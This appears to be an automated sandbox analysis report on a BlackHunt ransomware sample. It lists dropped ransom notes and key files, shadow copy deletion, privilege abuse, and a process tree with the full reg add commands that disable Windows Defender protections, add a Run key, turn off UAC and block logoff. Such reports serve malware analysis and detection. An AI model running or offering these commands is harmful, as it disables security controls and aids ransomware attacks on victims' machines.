File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\#BlackHunt_ReadMe.hta	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_zh_CN.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Currie	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Apia	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Sofia	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\release	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-print.xml	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Goose_Bay	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.hta	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_Private.key	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_ReadMe.txt	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_Private.key	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.registry_1.1.300.v20130402-1529.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\batch_window.html	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-selector-api.xml	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Mendoza	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.hta	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Funafuti	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jvmti.h	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler.xml	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-api-caching.xml	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Algiers	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Macau	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\#BlackHunt_Private.key	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.hta	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search5.api	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\PDXFile_8.ico	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\#BlackHunt_ReadMe.txt	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui_4.0.100.v20140401-0608.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-sa.xml	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_zh_4.4.0.v20140623020002.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_Private.key	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Rankin_Inlet	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_ReadMe.hta	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-tools.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator_1.1.0.v20131217-1203.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3436	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1912	vssadmin.exe
2296	vssadmin.exe
3164	vssadmin.exe
3668	vssadmin.exe
3684	vssadmin.exe
3816	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2420	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2104	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3300	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Token: SeRestorePrivilege	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Token: SeBackupPrivilege	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Token: SeTakeOwnershipPrivilege	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Token: SeAuditPrivilege	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Token: SeSecurityPrivilege	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Token: SeIncBasePriorityPrivilege	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Token: SeBackupPrivilege	3912	vssvc.exe
Token: SeRestorePrivilege	3912	vssvc.exe
Token: SeAuditPrivilege	3912	vssvc.exe
Token: SeBackupPrivilege	3392	wbengine.exe
Token: SeRestorePrivilege	3392	wbengine.exe
Token: SeSecurityPrivilege	3392	wbengine.exe
Token: SeSecurityPrivilege	2664	wevtutil.exe
Token: SeSecurityPrivilege	2072	wevtutil.exe
Token: SeBackupPrivilege	2664	wevtutil.exe
Token: SeBackupPrivilege	2072	wevtutil.exe
Token: SeSecurityPrivilege	1032	wevtutil.exe
Token: SeBackupPrivilege	1032	wevtutil.exe
Token: SeSecurityPrivilege	3632	wevtutil.exe
Token: SeBackupPrivilege	3632	wevtutil.exe
Token: SeSecurityPrivilege	2424	wevtutil.exe
Token: SeBackupPrivilege	2424	wevtutil.exe
Token: SeDebugPrivilege	2420	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 2924	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	29
PID 1644 wrote to memory of 2924	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	29
PID 1644 wrote to memory of 2924	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	29
PID 1644 wrote to memory of 2924	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	29
PID 1644 wrote to memory of 2928	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	31
PID 1644 wrote to memory of 2928	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	31
PID 1644 wrote to memory of 2928	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	31
PID 1644 wrote to memory of 2928	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	31
PID 1644 wrote to memory of 2432	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	33
PID 1644 wrote to memory of 2432	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	33
PID 1644 wrote to memory of 2432	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	33
PID 1644 wrote to memory of 2432	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	33
PID 1644 wrote to memory of 2320	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	35
PID 1644 wrote to memory of 2320	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	35
PID 1644 wrote to memory of 2320	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	35
PID 1644 wrote to memory of 2320	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	35
PID 1644 wrote to memory of 2700	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	36
PID 1644 wrote to memory of 2700	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	36
PID 1644 wrote to memory of 2700	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	36
PID 1644 wrote to memory of 2700	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	36
PID 2928 wrote to memory of 2804	2928	cmd.exe	38
PID 2928 wrote to memory of 2804	2928	cmd.exe	38
PID 2928 wrote to memory of 2804	2928	cmd.exe	38
PID 2924 wrote to memory of 2800	2924	cmd.exe	39
PID 2924 wrote to memory of 2800	2924	cmd.exe	39
PID 2924 wrote to memory of 2800	2924	cmd.exe	39
PID 1644 wrote to memory of 2788	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	41
PID 1644 wrote to memory of 2788	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	41
PID 1644 wrote to memory of 2788	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	41
PID 1644 wrote to memory of 2788	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	41
PID 2432 wrote to memory of 2752	2432	cmd.exe	42
PID 2432 wrote to memory of 2752	2432	cmd.exe	42
PID 2432 wrote to memory of 2752	2432	cmd.exe	42
PID 1644 wrote to memory of 2728	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	43
PID 1644 wrote to memory of 2728	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	43
PID 1644 wrote to memory of 2728	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	43
PID 1644 wrote to memory of 2728	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	43
PID 1644 wrote to memory of 2132	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	44
PID 1644 wrote to memory of 2132	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	44
PID 1644 wrote to memory of 2132	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	44
PID 1644 wrote to memory of 2132	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	44
PID 1644 wrote to memory of 2712	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	47
PID 1644 wrote to memory of 2712	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	47
PID 1644 wrote to memory of 2712	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	47
PID 1644 wrote to memory of 2712	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	47
PID 1644 wrote to memory of 2996	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	48
PID 1644 wrote to memory of 2996	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	48
PID 1644 wrote to memory of 2996	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	48
PID 1644 wrote to memory of 2996	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	48
PID 1644 wrote to memory of 2356	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	51
PID 1644 wrote to memory of 2356	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	51
PID 1644 wrote to memory of 2356	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	51
PID 1644 wrote to memory of 2356	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	51
PID 1644 wrote to memory of 2912	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	136
PID 1644 wrote to memory of 2912	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	136
PID 1644 wrote to memory of 2912	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	136
PID 1644 wrote to memory of 2912	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	136
PID 2788 wrote to memory of 2592	2788	cmd.exe	55
PID 2788 wrote to memory of 2592	2788	cmd.exe	55
PID 2788 wrote to memory of 2592	2788	cmd.exe	55
PID 1644 wrote to memory of 2612	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	57
PID 1644 wrote to memory of 2612	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	57
PID 1644 wrote to memory of 2612	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	57
PID 1644 wrote to memory of 2612	1644	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
"C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:812
- C:\Windows\System32\cmd.exe
